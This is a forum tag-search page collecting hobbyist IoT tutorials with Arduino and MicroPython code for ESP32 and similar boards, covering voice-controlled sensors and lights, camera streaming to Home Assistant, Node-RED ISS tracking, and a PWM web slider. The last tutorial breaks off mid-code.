Jump to content
Electronics-Lab.com Community

Search the Community

Showing results for tags 'iot'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Electronics Forums
    • Projects Q/A
    • Datasheet/Parts requests
    • Electronic Projects Design/Ideas
    • Power Electronics
    • Service Manuals
    • Theory articles
    • Electronics chit chat
    • Microelectronics
    • Electronic Resources
  • Related to Electronics
    • Spice Simulation - PCB design
    • Inventive/New Ideas
    • Mechanical constructions/Hardware
    • Sell/Buy electronics - Job offer/requests
    • Components trade
    • High Voltage Stuff
    • Electronic Gadgets
  • General
    • Announcements
    • Feedback/Comments
    • General
  • Salvage Area

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


Website URL


Yahoo


Skype


Location


Interests

  1. Microcontrollers are known for its low power usage and limited resources thus often deemed unable to understand Python script as Python need interpretor to translate script into machine langauge and intepretor are usaully quite resource-consuming. However, MicroPython has arisen as a lean and efficiant Python 3 interpretor that can be run on ARM Cortex-M series microcontrollers. Ameba RTL8722 is an ARM Cortex-M33 microcontroller that has dual-band WiFi and BLE 5.0, other than that it is fully capable of running MicroPython and controls WiFi using Python script. In addition, its requirement for developing platform is also quite minimal-- only needs a serial port terminal like Tera term. Here is an example of RTL8722 controlling WiFi using just a few lines of Python code on Tera Term, from wireless import WLAN wifi = WLAN(mode = WLAN.STA) wifi.scan() Right after the last line, you will be able to see the result printed on the Tera term almost immediately, Hope this post give you some ideas of how easy it is to control microcontroller using MicroPython, stay tuned and happy coding!
  2. In this tutorial, I will guide you on how to create a temperature and humidity monitoring system that can be controlled by voice using a FireBeetle and a DHT11 sensor. Imagine being able to ask your FireBeetle about the current temperature and getting a visual response! Let's dive into the details. 💡 Components Required: DFRobot FireBeetle 2 ES32 S3 DHT11 Temperature and Humidity Sensor DFRobot Gravity Offline Voice Recognition sensor Jumper Cables 🔌 Wiring Diagram: Connect the DHT11 sensor to the FireBeetle as follows: GND pin: Connect to GND (0V). VCC pin: Connect to VCC (5V or 3.3V). DATA pin: D5 If you’re using a DHT11 module, it may have a built-in resistor, eliminating the need for an external one. Connect the Offline Voice Recognition sensor to the FireBeetle as follows: GND pin: Connect to GND (0V). VCC pin: Connect to VCC (5V or 3.3V). DATA pin: SDA CLOCK pin:SCL Finally, connect the TFT screen to the FireBeetle directly via the connector interface. Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Also, check out this useful blog on PCBWay Plugin for KiCad from here. Using this plugin, you can directly order PCBs in just one click after completing your design in KiCad. 1️⃣ Train the custom voice commands: This DFRobot Gravity Offline Voice Recognition Sensor sensor is designed for Arduino, Raspberry Pi, Python, and ESP32 platforms. It allows you to recognize voice commands without an internet connection and comes with built-in fixed command words as well as the ability to add custom commands. Here are the steps to train custom voice commands: First, connect the Voice Recognition sensor's VCC pin to 5V and GND to GND. Then wake up the sensor by saying "Hello Robot" Next, say "Learning command word", this will help us to add our own command words. Once the system ready, train with your custom commands. Here I have created two commands, one is what is the temperature? and the next one is what is the humidity? These commands have some specific ID. Normally the first command id is 5 then the following will be 6,7 and so on. In my case what is the temperature? is command is 5 and what is the humidity? is command is 6. 2️⃣ Install Required Libraries: In your Arduino IDE or other development environment, install the necessary libraries for the Gravity Voice Recognition Sensor. You can find the library on the DFRobot GitHub repository. As well as the DHT11 sensor. 3️⃣ Programming the FireBeetle: Write a program to interface with the sensor. You can use the provided example code or create your own. This code will get the DHT11 temp and humidity value. #include <dht11.h> dht11 DHT; #define DHT11_PIN 4 void setup(){ Serial.begin(9600); Serial.println("DHT TEST PROGRAM "); Serial.print("LIBRARY VERSION: "); Serial.println(DHT11LIB_VERSION); Serial.println(); Serial.println("Type,\tstatus,\tHumidity (%),\tTemperature (C)"); } void loop(){ int chk; Serial.print("DHT11, \t"); chk = DHT.read(DHT11_PIN); // READ DATA switch (chk){ case DHTLIB_OK: Serial.print("OK,\t"); break; case DHTLIB_ERROR_CHECKSUM: Serial.print("Checksum error,\t"); break; case DHTLIB_ERROR_TIMEOUT: Serial.print("Time out error,\t"); break; default: Serial.print("Unknown error,\t"); break; } // DISPLAT DATA Serial.print(DHT.humidity,1); Serial.print(",\t"); Serial.println(DHT.temperature,1); delay(2000); } Here is the complete sketch to configure DHT11 for voice recognition. #include <Wire.h> #include "DFRobot_GDL.h" #define TFT_DC D2 #define TFT_CS D6 #define TFT_RST D3 #include <DFRobot_DHT11.h> DFRobot_DHT11 DHT; #define DHT11_PIN D5 DFRobot_ST7789_240x320_HW_SPI screen(/dc=/TFT_DC,/cs=/TFT_CS,/rst=/TFT_RST); #include "DFRobot_DF2301Q.h" //I2C communication DFRobot_DF2301Q_I2C DF2301Q; void setup() { Serial.begin(115200); screen.begin(); Wire.begin(); // Init the sensor while ( !( DF2301Q.begin() ) ) { Serial.println("Communication with device failed, please check connection"); delay(3000); } Serial.println("Begin ok!"); DF2301Q.setVolume(7); DF2301Q.setMuteMode(0); DF2301Q.setWakeTime(15); uint8_t wakeTime = 0; wakeTime = DF2301Q.getWakeTime(); Serial.print("wakeTime = "); Serial.println(wakeTime); DF2301Q.playByCMDID(23); // Common word ID } void loop() { uint8_t CMDID = 0; CMDID = DF2301Q.getCMDID(); c if (0 != CMDID) { Serial.print("CMDID = "); Serial.println(CMDID); int16_t color = 0x00FF; screen.setTextWrap(false); screen.setRotation(1); screen.fillScreen(COLOR_RGB565_BLACK); screen.setTextColor(COLOR_RGB565_GREEN); screen.setFont(&FreeMono9pt7b); screen.setTextSize(1.5); screen.setCursor(0, 30); screen.println("CNID: "); screen.setCursor(130, 30); screen.setTextColor(COLOR_RGB565_RED); screen.println(CMDID); if (CMDID == 5) { Serial.print("CMDID = "); Serial.println(CMDID); DHT.read(DHT11_PIN); Serial.print("temp:"); Serial.print(DHT.temperature); Serial.print(" humi:"); Serial.println(DHT.humidity); int16_t color = 0x00FF; screen.setTextWrap(false); screen.setRotation(1); screen.fillScreen(COLOR_RGB565_BLACK); screen.setTextColor(COLOR_RGB565_GREEN); screen.setFont(&FreeMono9pt7b); screen.setTextSize(1.8); screen.setCursor(20, 50); screen.println("Tempearature: "); screen.setTextColor(COLOR_RGB565_RED); screen.setCursor(160, 50); screen.println(DHT.temperature); screen.setCursor(190, 50); screen.println(" C"); } if (CMDID == 6) { Serial.print("CMDID = "); Serial.println(CMDID); DHT.read(DHT11_PIN); Serial.print("temp:"); Serial.print(DHT.temperature); Serial.print(" humi:"); Serial.println(DHT.humidity); int16_t color = 0x00FF; screen.setTextWrap(false); screen.setRotation(1); screen.fillScreen(COLOR_RGB565_BLACK); screen.setTextColor(COLOR_RGB565_GREEN); screen.setFont(&FreeMono9pt7b); screen.setTextSize(1.8); screen.setCursor(20, 50); screen.println("Humidity: "); screen.setTextColor(COLOR_RGB565_RED); screen.setCursor(160, 50); screen.println(DHT.humidity); screen.setCursor(190, 50); screen.println(" %"); } } delay(1000); } 4️⃣ Testing and Refinement: Upload your program to the FireBeetle, select the correct COM port, and wait until it finishes the upload. Test the sensor by speaking the fixed command words and your custom commands. And look at the serial terminal for the response. Finally, you can see the DHT11 data on the TFT screen. 5️⃣ Use in Your Project: Now that your sensor recognizes custom voice commands, integrate it into your project. For instance, control home automation devices, trigger specific actions, or create interactive audio experiences. Remember that the sensor’s self-learning function allows you to train it with various sounds, not just voice. So, get creative! You can use whistles, snaps, or even cat meows as custom commands. 🎙️🔊 For more detailed information, refer to the DFRobot Wiki and explore the Hackster project. Happy hacking! 🚀
  3. Creating a voice-controlled lighting system can add a touch of magic to any environment. In this blog, we’ll explore how to integrate the DFRobot Gravity: Offline Language Learning Voice Recognition Sensor with a Neo Pixel light strip, all controlled by a Beetle ESP32 C3 microcontroller. Introduction to DFRobot Gravity Voice Recognition Sensor The DFRobot Gravity: Offline Voice Recognition Sensor is a powerful module designed for voice command projects. Here are its key features: Offline Operation: Unlike cloud-based solutions, this sensor works without an internet connection. It’s built around an offline voice recognition chip, making it ideal for applications where internet connectivity is not available or desired. Built-in Command Words: The sensor comes with 121 fixed command words preloaded. These cover a wide range of common instructions, eliminating the need for users to record their voices. Custom Commands: Additionally, the sensor supports the addition of 17 custom command words. This flexibility allows you to train it to recognize specific sounds or phrases, such as whistling, snapping, or even cat meows. Self-Learning Function: The self-learning feature enables you to teach the sensor new commands. For example, you could use it in an automatic pet feeder. When your cat emits a meow, the sensor recognizes it and triggers the feeder to provide food promptly. User-Friendly Design: With its straightforward interface, the sensor simplifies voice interaction projects. Whether you’re building smart home appliances, toys, lighting fixtures, or robotics, this sensor provides a flexible solution. Key Features: Offline Operation: Works without the need for an internet connection. Custom Commands: Supports adding custom voice commands. Compatibility: Can be used with Arduino, Raspberry Pi, Python, and Beetle ESP32 C3. Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Also, check out this useful blog on PCBWay Plugin for KiCad from here. Using this plugin, you can directly order PCBs in just one click after completing your design in KiCad. Neo Pixel: A Symphony of Lights Neo Pixel LEDs are individually addressable RGB LEDs, which means each LED’s color and brightness can be controlled independently. This makes them ideal for creating dynamic and colorful lighting effects. Why Choose Neo Pixel? Individual Addressability: Control each LED separately. Vibrant Colors: Create a spectrum of colors with RGB LEDs. Energy Efficient: Low power consumption with bright output. The Beetle ESP32 C3 Controller: The Brain Behind the Operation The Beetle ESP32 C3 is a small, powerful development board ideal for IoT projects. It features: A RISC-V 32-bit single-core processor for efficient performance. A coin-sized design, making it highly portable. Up to 13 digital I/O ports for various connections. Onboard battery management for direct li-ion battery connection. Wi-Fi and Bluetooth 5 (LE) support for versatile networking. Compatibility with Arduino IDE, ESP-IDF, and MicroPython, and supports C and Python programming. An expansion board for additional power sources and a GDI for screens. Operates at 3.3V with a Type-C input of 5V DC and a charging current of 400mA. Suitable for a wide range of temperatures, from -40 to 105°C. It’s a compact yet feature-rich board that’s adaptable for a variety of applications. Advantages of Beetle ESP32 C3: Connectivity: Wi-Fi and Bluetooth ready. Powerful: Enough processing power to handle complex tasks. Versatile: Compatible with various programming environments. Bringing It All Together To create a voice-controlled Neo Pixel light system, we’ll need to connect the DFRobot Gravity sensor to the Beetle ESP32 C3 and then to the Neo Pixel strip. The Beetle ESP32 C3 will listen to voice commands through the sensor and control the Neo Pixel lights accordingly. Adding Custom Commands in DFRobot Gravity Voice Recognition Sensor Let’s dive into the process of adding custom command words: First, let's upload the following sketch to the Beetle board, this sketch will show you the exact command ID which is related to the custom voice instructions. /*! * @file i2c.ino * @brief Control the voice recognition module via I2C * @n Get the recognized command ID and play the corresponding reply audio according to the ID; * @n Get and set the wake-up state duration, set mute mode, set volume, and enter the wake-up state * @copyright Copyright (c) 2010 DFRobot Co.Ltd (http://www.dfrobot.com) * @licence The MIT License (MIT) * @author [qsjhyy]([email protected]) * @version V1.0 * @date 2022-12-30 * @url https://github.com/DFRobot/DFRobot_DF2301Q */ #include "DFRobot_DF2301Q.h" //I2C communication DFRobot_DF2301Q_I2C DF2301Q; void setup() { Serial.begin(115200); // Init the sensor while( !( DF2301Q.begin() ) ) { Serial.println("Communication with device failed, please check connection"); delay(3000); } Serial.println("Begin ok!"); /** * @brief Set voice volume * @param voc - Volume value(1~7) */ DF2301Q.setVolume(4); /** * @brief Set mute mode * @param mode - Mute mode; set value 1: mute, 0: unmute */ DF2301Q.setMuteMode(0); /** * @brief Set wake-up duration * @param wakeTime - Wake-up duration (0-255) */ DF2301Q.setWakeTime(15); /** * @brief Get wake-up duration * @return The currently-set wake-up period */ uint8_t wakeTime = 0; wakeTime = DF2301Q.getWakeTime(); Serial.print("wakeTime = "); Serial.println(wakeTime); /** * @brief Play the corresponding reply audio according to the command word ID * @param CMDID - Command word ID * @note Can enter wake-up state through ID-1 in I2C mode */ // DF2301Q.playByCMDID(1); // Wake-up command DF2301Q.playByCMDID(23); // Common word ID } void loop() { /** * @brief Get the ID corresponding to the command word * @return Return the obtained command word ID, returning 0 means no valid ID is obtained */ uint8_t CMDID = 0; CMDID = DF2301Q.getCMDID(); if(0 != CMDID) { Serial.print("CMDID = "); Serial.println(CMDID); } delay(3000); } Now let's talk to our sensor and add custom voice commands. First, we need to use this "Learning command word" command to add a new command. Here I have added 4 different commands. These are the commands and their related command IDs. Lights on = 5 Lights off = 6 Lights to red = 8 Lights to green = 7 Integrate Neo Pixels with Voice Sensor Here’s a simple example that tests our neo pixel led: // NeoPixel Ring simple sketch (c) 2013 Shae Erisson // Released under the GPLv3 license to match the rest of the // Adafruit NeoPixel library #include <Adafruit_NeoPixel.h> #ifdef __AVR__ #include <avr/power.h> // Required for 16 MHz Adafruit Trinket #endif // Which pin on the Arduino is connected to the NeoPixels? #define PIN 0 // On Trinket or Gemma, suggest changing this to 1 // How many NeoPixels are attached to the Arduino? #define NUMPIXELS 8 // Popular NeoPixel ring size // When setting up the NeoPixel library, we tell it how many pixels, // and which pin to use to send signals. Note that for older NeoPixel // strips you might need to change the third parameter -- see the // strandtest example for more information on possible values. Adafruit_NeoPixel pixels(NUMPIXELS, PIN, NEO_GRB + NEO_KHZ800); #define DELAYVAL 500 // Time (in milliseconds) to pause between pixels void setup() { // These lines are specifically to support the Adafruit Trinket 5V 16 MHz. // Any other board, you can remove this part (but no harm leaving it): #if defined(__AVR_ATtiny85__) && (F_CPU == 16000000) clock_prescale_set(clock_div_1); #endif // END of Trinket-specific code. pixels.begin(); // INITIALIZE NeoPixel strip object (REQUIRED) } void loop() { pixels.clear(); // Set all pixel colors to 'off' // The first NeoPixel in a strand is #0, second is 1, all the way up // to the count of pixels minus one. for(int i=0; i<NUMPIXELS; i++) { // For each pixel... // pixels.Color() takes RGB values, from 0,0,0 up to 255,255,255 // Here we're using a moderately bright green color: pixels.setPixelColor(i, pixels.Color(0, 150, 0)); pixels.show(); // Send the updated pixel colors to the hardware. delay(DELAYVAL); // Pause before next pass through loop } } Here is the neo-pixel response. Finally, let's integrate the voice sensor with our neo-pixel. #include "DFRobot_DF2301Q.h" #include <Adafruit_NeoPixel.h> #define PIN 0 // Neo Adafruit_NeoPixel strip = Adafruit_NeoPixel(8, PIN, NEO_GRB + NEO_KHZ800); //I2C communication DFRobot_DF2301Q_I2C DF2301Q; void setup() { Serial.begin(115200); strip.begin(); strip.setBrightness(100); strip.show(); while ( !( DF2301Q.begin() ) ) { Serial.println("Communication with device failed, please check connection"); delay(3000); } Serial.println("Begin ok!"); DF2301Q.setVolume(7); DF2301Q.setMuteMode(0); DF2301Q.setWakeTime(15); uint8_t wakeTime = 0; wakeTime = DF2301Q.getWakeTime(); Serial.print("wakeTime = "); Serial.println(wakeTime); DF2301Q.playByCMDID(23); // Common word ID } void loop() { uint8_t CMDID = 0; CMDID = DF2301Q.getCMDID(); if (0 != CMDID) { Serial.print("CMDID = "); Serial.println(CMDID); } if (CMDID == 5) { strip.clear(); // Set all pixel colors to 'off' for (int i = 0; i < 12; i++) { // For each pixel... strip.setPixelColor(i, strip.Color(255, 255, 255)); strip.show(); } } else if (CMDID == 6) { strip.clear(); for (int i = 0; i < 12; i++) { // For each pixel... strip.setPixelColor(i, strip.Color(0, 0, 0)); strip.show(); } } else if (CMDID == 7) { strip.clear(); for (int i = 0; i < 12; i++) { // For each pixel... strip.setPixelColor(i, strip.Color(255, 0, 0)); strip.show(); } } else if (CMDID == 8) { strip.clear(); for (int i = 0; i < 12; i++) { // For each pixel... strip.setPixelColor(i, strip.Color(0, 255, 0)); strip.show(); } } } This script sets up the Beetle ESP32 C3 to control a Neo Pixel strip and changes the color based on voice commands received from the DFRobot Gravity sensor. Conclusion Integrating the DFRobot Gravity Voice Recognition Sensor with Neo Pixel lights controlled by a Beetle ESP32 C3 offers endless possibilities for creating interactive and responsive environments. Whether it’s for home automation, art installations, or educational purposes, this combination of technology brings both functionality and creativity to your projects. I hope this blog post inspires you to create your voice-controlled lighting system. If you have any questions or need further guidance, feel free to reach out!
  4. 3 ways of playing games on ARM devices. Arcanum, Desciples II, Ceasar III, Fallout, Heroes and more in the article Gaming on Raspberry Pi (the guide works for any ARM device)
  5. Streaming ESP32-CAM Video to Home Assistant The ESP32-CAM is a versatile and affordable camera module that can be used for various projects. In this tutorial, we’ll explore how to set up video streaming from the ESP32-CAM to Home Assistant, allowing you to monitor your surroundings remotely. Setting Up Video Streaming Web Server Open the Arduino IDE and navigate to the ESP32 examples. 1. Select File->Examples->ESP32->Camera->CameraWebServer example in Arduino IDE. 2. Replace the codes in CameraWebServer with the code below (Note: please fill in your WiFi account and password) #include "esp_camera.h" #include <WiFi.h> // // WARNING!!! PSRAM IC required for UXGA resolution and high JPEG quality // Ensure ESP32 Wrover Module or other board with PSRAM is selected // Partial images will be transmitted if image exceeds buffer size // // You must select partition scheme from the board menu that has at least 3MB APP space. // Face Recognition is DISABLED for ESP32 and ESP32-S2, because it takes up from 15 // seconds to process single frame. Face Detection is ENABLED if PSRAM is enabled as well // =================== // Select camera model // =================== #define PWDN_GPIO_NUM -1 #define RESET_GPIO_NUM -1 #define XCLK_GPIO_NUM 45 #define SIOD_GPIO_NUM 1 #define SIOC_GPIO_NUM 2 #define Y9_GPIO_NUM 48 #define Y8_GPIO_NUM 46 #define Y7_GPIO_NUM 8 #define Y6_GPIO_NUM 7 #define Y5_GPIO_NUM 4 #define Y4_GPIO_NUM 41 #define Y3_GPIO_NUM 40 #define Y2_GPIO_NUM 39 #define VSYNC_GPIO_NUM 6 #define HREF_GPIO_NUM 42 #define PCLK_GPIO_NUM 5 #include "DFRobot_AXP313A.h" DFRobot_AXP313A axp; // =========================== // Enter your WiFi credentials // =========================== const char* ssid = "*****"; const char* password = "******"; void startCameraServer(); void setup() { Serial.begin(115200); Serial.setDebugOutput(true); Serial.println(); while(axp.begin() != 0){ Serial.println("init error"); delay(1000); } axp.enableCameraPower(axp.eOV2640);//Enable the power for camera camera_config_t config; config.ledc_channel = LEDC_CHANNEL_0; config.ledc_timer = LEDC_TIMER_0; config.pin_d0 = Y2_GPIO_NUM; config.pin_d1 = Y3_GPIO_NUM; config.pin_d2 = Y4_GPIO_NUM; config.pin_d3 = Y5_GPIO_NUM; config.pin_d4 = Y6_GPIO_NUM; config.pin_d5 = Y7_GPIO_NUM; config.pin_d6 = Y8_GPIO_NUM; config.pin_d7 = Y9_GPIO_NUM; config.pin_xclk = XCLK_GPIO_NUM; config.pin_pclk = PCLK_GPIO_NUM; config.pin_vsync = VSYNC_GPIO_NUM; config.pin_href = HREF_GPIO_NUM; config.pin_sscb_sda = SIOD_GPIO_NUM; config.pin_sscb_scl = SIOC_GPIO_NUM; config.pin_pwdn = PWDN_GPIO_NUM; config.pin_reset = RESET_GPIO_NUM; config.xclk_freq_hz = 20000000; config.frame_size = FRAMESIZE_UXGA; config.pixel_format = PIXFORMAT_JPEG; // for streaming //config.pixel_format = PIXFORMAT_RGB565; // for face detection/recognition config.grab_mode = CAMERA_GRAB_WHEN_EMPTY; config.fb_location = CAMERA_FB_IN_PSRAM; config.jpeg_quality = 12; config.fb_count = 1; // if PSRAM IC present, init with UXGA resolution and higher JPEG quality // for larger pre-allocated frame buffer. if(config.pixel_format == PIXFORMAT_JPEG){ if(psramFound()){ config.jpeg_quality = 10; config.fb_count = 2; config.grab_mode = CAMERA_GRAB_LATEST; } else { // Limit the frame size when PSRAM is not available config.frame_size = FRAMESIZE_SVGA; config.fb_location = CAMERA_FB_IN_DRAM; } } else { // Best option for face detection/recognition config.frame_size = FRAMESIZE_240X240; #if CONFIG_IDF_TARGET_ESP32S3 config.fb_count = 2; #endif } #if defined(CAMERA_MODEL_ESP_EYE) pinMode(13, INPUT_PULLUP); pinMode(14, INPUT_PULLUP); #endif // camera init esp_err_t err = esp_camera_init(&config); if (err != ESP_OK) { Serial.printf("Camera init failed with error 0x%x", err); return; } sensor_t * s = esp_camera_sensor_get(); // initial sensors are flipped vertically and colors are a bit saturated if (s->id.PID == OV3660_PID) { s->set_vflip(s, 1); // flip it back s->set_brightness(s, 1); // up the brightness just a bit s->set_saturation(s, -2); // lower the saturation } // drop down frame size for higher initial frame rate if(config.pixel_format == PIXFORMAT_JPEG){ s->set_framesize(s, FRAMESIZE_QVGA); } #if defined(CAMERA_MODEL_M5STACK_WIDE) || defined(CAMERA_MODEL_M5STACK_ESP32CAM) s->set_vflip(s, 1); s->set_hmirror(s, 1); #endif #if defined(CAMERA_MODEL_ESP32S3_EYE) s->set_vflip(s, 1); #endif WiFi.begin(ssid, password); WiFi.setSleep(false); while (WiFi.status() != WL_CONNECTED) { delay(500); Serial.print("."); } Serial.println(""); Serial.println("WiFi connected"); startCameraServer(); Serial.print("Camera Ready! Use 'http://"); Serial.print(WiFi.localIP()); Serial.println("' to connect"); } void loop() { // Do nothing. Everything is done in another task by the web server delay(10000); } Then upload the code to the FireBeetle ESP32 S3 board and look for the serial terminal response. Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Also, check out this useful blog on PCBWay Plugin for KiCad from here. Using this plugin, you can directly order PCBs in just one click after completing your design in KiCad. Setting Up Video Stream Properties Next, open up the IP address that shows in the serial terminal and look for the camera web server properties. Set up the resolution. Go with the lower one to get a high FPS. Finally, add the:81/stream in the camera IP address. Now it will directly show you the camera feed. Integrating with Home Assistant Open Home Assistant. Next, navigate to the overview and add a picture card. Enter the IP address of your ESP32-CAM following:81/stream and click Finish. And that’s it! You’ve successfully set up video streaming from the ESP32-CAM to Home Assistant. Feel free to customize and enhance this project further. Happy monitoring! 📷🏠
  6. How to Track the ISS Location with Node-RED Node-RED is a visual programming tool that allows you to create flows of data and logic using nodes. In this article, we will use Node-RED to track the location of the International Space Station (ISS) and display it on a world map. What You Need To follow this tutorial, you will need the following: A computer with Node-RED installed. You can download and install Node-RED from here. An internet connection to access the ISS location API and the world map node. Two Node-RED nodes: node-red-contrib-iss-location and node-red-contrib-web-worldmap. You can install them from the Node-RED palette or by running the following commands in your Node-RED user directory, typically ~/.node-red: npm install node-red-contrib-web-worldmap Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Also, check out this useful blog on PCBWay Plugin for KiCad from here. Using this plugin, you can directly order PCBs in just one click after completing your design in KiCad. The Flow The flow we will create consists of four nodes: An inject node that triggers the flow every 10 seconds. An HTTP-request node that queries the ISS location API and returns the current latitude and longitude of the ISS. A function node that formats the location data into a message object that the world map node can use. A worldmap node that displays a world map and a marker for the ISS location. The flow looks like this: The Nodes Let’s take a closer look at each node and how to configure them. The Inject Node The inject node is used to trigger the flow at regular intervals. To configure it, double-click on it and set the following properties: Name: Every 10 seconds Repeat: interval Every: 10 seconds This will make the node send a timestamp message every 10 seconds. The HTTP Request Node The ISS location node is used to query the ISS location API and return the current latitude and longitude of the ISS. To configure it, double-click on it and set the following properties: Name: ISS Location URL: api.open-notify.org/iss-now.json This will make the node send a message object with the following properties: This node will return the following payload: the return payload contains thefollowing properties: latitude: a string indicating the current latitude of the ISS in degrees. longitude: a string indicating the current longitude of the ISS in degrees. The Function Node The function node is used to format the location data into a message object that the world map node can use. To configure it, double-click on the JSON node and set the following properties. Next, set the following properties on the change node: This will make the node send a message object with the same properties as the original message, except for the payload, which will be an object suitable for the world map node. Here is the final transformed payload that the map node can understand. The World Map Node The world map node displays a world map and a marker for the ISS location. To configure it, double-click on it and set the following properties: This will make the node display a world map widget on the dashboard, with various options to customize the view. The node will also listen for incoming messages with location data and display a marker on the map accordingly. The Result To see the result, deploy the flow and open the dashboard. You should see a world map with a blue globe icon indicating the current location of the ISS. The icon will move as the ISS orbits the Earth. You can also click on the icon to see the name and the coordinates of the ISS. Conclusion In this article, we have learned how to use Node-RED to track the location of the ISS and display it on a world map. We have used node-red-contrib-web-worldmap to query the ISS location API and display the map widget. We have also used a function node to format the location data into a message object that the world map node can use. We hope you have enjoyed this tutorial and learned something new. If you want to learn more about Node-RED and its nodes, you can check out these web pages: Node-RED node-red-contrib-iss-location (node) - Node-RED node-red-contrib-web-worldmap (node) - Node-RED Happy coding!
  7. In this blog post, I will show you how to create a web server with an ESP32 board that allows you to control the brightness of an LED using a slider on a web page. This is a fun and easy project demonstrating how to use the ESP32’s PWM (Pulse Width Modulation) feature to vary the intensity of an LED. You will also learn how to use the ESPAsyncWebServer and AsyncTCP libraries to handle asynchronous web requests and responses, which can improve the performance and responsiveness of your web server. What You Will Need: To follow along with this tutorial, you will need the following components: An ESP32 board (I’m using the ESP32 DevKitC) The Arduino IDE installed on your computer The ESPAsyncWebServer and AsyncTCP libraries installed on your Arduino IDE You can find the links to download the libraries and the complete code for this project at the end of this post. Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Also, check out this useful blog on PCBWay Plugin for KiCad from here. Using this plugin, you can directly order PCBs in just one click after completing your design in KiCad. How It Works: The basic idea of this project is to use a slider on a web page to send an HTTP request to the ESP32 with a value between 0 and 255, representing the LED's desired brightness. The ESP32 will then use that value to adjust the duty cycle of a PWM signal, which is a digital signal that switches between high and low states at a certain frequency. By changing the ratio of the high and low states, we can change the average voltage applied to the LED, and thus its brightness. The inbuilt LED is connected to GPIO2, which is one of the pins that supports PWM (Pulse Width Modulation). PWM is a technique that allows us to vary the brightness of the LED by changing the duty cycle of a digital signal. The ESP32 has 16 PWM channels that can be configured to different frequencies and resolutions. By using the ledcSetup() and ledcWrite() functions, we can set up a PWM channel for the inbuilt LED and write a value between 0 and 255 to adjust its brightness. We can also use the Blink example sketch from the Arduino IDE to make the inbuilt LED blink with a certain interval. The inbuilt LED is useful for testing and debugging purposes, as well as for creating simple projects that involve lighting effects. To create the web server, we will use the ESPAsyncWebServer library, which is an asynchronous web server library for the ESP32 and ESP8266. This library allows us to handle multiple web requests and responses without blocking the main loop of the ESP32, which can improve the performance and responsiveness of our web server. We will also use the AsyncTCP library, which is a dependency of the ESPAsyncWebServer library and provides low-level TCP communication between the ESP32 and the web browser. To create the web page, we will use HTML, CSS, and JavaScript. HTML is the markup language that defines the structure and content of the web page. <!DOCTYPE HTML><html> <head> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>ESP32 PWM Controller</title> <style> html {font-family: Arial; display: inline-block; text-align: center;} h2 {font-size: 2.3rem;} p {font-size: 1.9rem;} body {max-width: 400px; margin:0px auto; padding-bottom: 25px;} .slider { -webkit-appearance: none; margin: 14px; width: 360px; height: 25px; background: #2ad713; outline: none; -webkit-transition: .2s; transition: opacity .2s;} .slider::-webkit-slider-thumb {-webkit-appearance: none; appearance: none; width: 35px; height: 35px; background: #003249; cursor: pointer;} .slider::-moz-range-thumb { width: 35px; height: 35px; background: #05abf8; cursor: pointer; } </style> </head> <body> <h2>ESP32 PWM Controller</h2> <p><span id="textSliderValue">%SLIDERVALUE%</span></p> <p><input type="range" onchange="updateSliderPWM(this)" id="pwmSlider" min="0" max="255" value="%SLIDERVALUE%" step="1" class="slider"></p> <script> function updateSliderPWM(element) { var sliderValue = document.getElementById("pwmSlider").value; document.getElementById("textSliderValue").innerHTML = sliderValue; console.log(sliderValue); var xhr = new XMLHttpRequest(); xhr.open("GET", "/slider?value="+sliderValue, true); xhr.send(); } </script> </body> </html> CSS is the style sheet language that defines the appearance and layout of the web page. JavaScript is the scripting language that adds interactivity and functionality to the web page. In this project, we will use JavaScript to capture the slider's value and send it to the ESP32 via an HTTP GET request. #include <WiFi.h> #include <AsyncTCP.h> #include <ESPAsyncWebServer.h> // Replace with your network credentials const char* ssid = "ELDRADO"; const char* password = "amazon123"; const int output = 2; String sliderValue = "0"; // setting PWM properties const int freq = 5000; const int ledChannel = 0; const int resolution = 8; const char* PARAM_INPUT = "value"; // Create AsyncWebServer object on port 80 AsyncWebServer server(80); const char index_html[] PROGMEM = R"rawliteral( <!DOCTYPE HTML><html> <head> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>ESP32 PWM Controller</title> <style> html {font-family: Arial; display: inline-block; text-align: center;} h2 {font-size: 2.3rem;} p {font-size: 1.9rem;} body {max-width: 400px; margin:0px auto; padding-bottom: 25px;} .slider { -webkit-appearance: none; margin: 14px; width: 360px; height: 25px; background: #2ad713; outline: none; -webkit-transition: .2s; transition: opacity .2s;} .slider::-webkit-slider-thumb {-webkit-appearance: none; appearance: none; width: 35px; height: 35px; background: #003249; cursor: pointer;} .slider::-moz-range-thumb { width: 35px; height: 35px; background: #05abf8; cursor: pointer; } </style> </head> <body> 